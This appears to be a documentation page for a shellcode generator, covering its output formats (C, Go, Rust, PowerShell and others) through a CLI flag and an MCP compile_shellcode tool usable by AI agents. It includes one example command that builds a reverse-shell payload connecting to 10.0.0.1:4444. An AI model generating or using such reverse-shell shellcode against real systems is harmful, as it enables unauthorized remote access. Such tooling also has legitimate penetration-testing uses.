Guides
Output Formats
Multi-format shellcode output via the --syntax flag or the syntax parameter.
Output Formats
app/utils/formatters.py converts a compiled shellcode bytearray into a string representation suitable for embedding in source code. The formatter is selected via the CLI --syntax flag or the MCP compile_shellcode tool's syntax parameter.
| Syntax | Description |
|---|---|
raw | \x-escaped hex bytes on a single line (default) |
b64 | Base64-encoded binary |
c | unsigned char buf[N] = { ... }; declaration |
cpp | std::array<uint8_t, N> buf = { ... }; declaration with includes |
nim | var buf: array[N, byte] = [byte ...] declaration |
go | buf := []byte{...} slice literal |
rust | let buf: [u8; N] = [...]; array declaration |
python | buf = b"\x..." bytes literal |
powershell | [byte[]] $buf = 0x..,0x.. array |
The list of supported syntax names is exposed as SUPPORTED_SYNTAXES (sorted alphabetically) and used both for CLI --syntax choices and the MCP compile_shellcode tool's validation.
CLI usage
./generate.py --os posix -x64 --syntax c -o revshell.raw connect 10.0.0.1 4444
When --syntax is anything other than raw, generate.py prints the formatted output to the console (via the logger) in addition to writing the raw binary to -o/--outfile.
MCP usage
compile_shellcode(
asm_code="section .text\nglobal _start\n_start:\n xor eax, eax\n mov al, 60\n syscall",
os_="posix",
arch="64",
syntax="b64",
)
Passing an unknown syntax value raises ValueError (CLI) or returns an Error: unknown syntax '<value>'... string (MCP).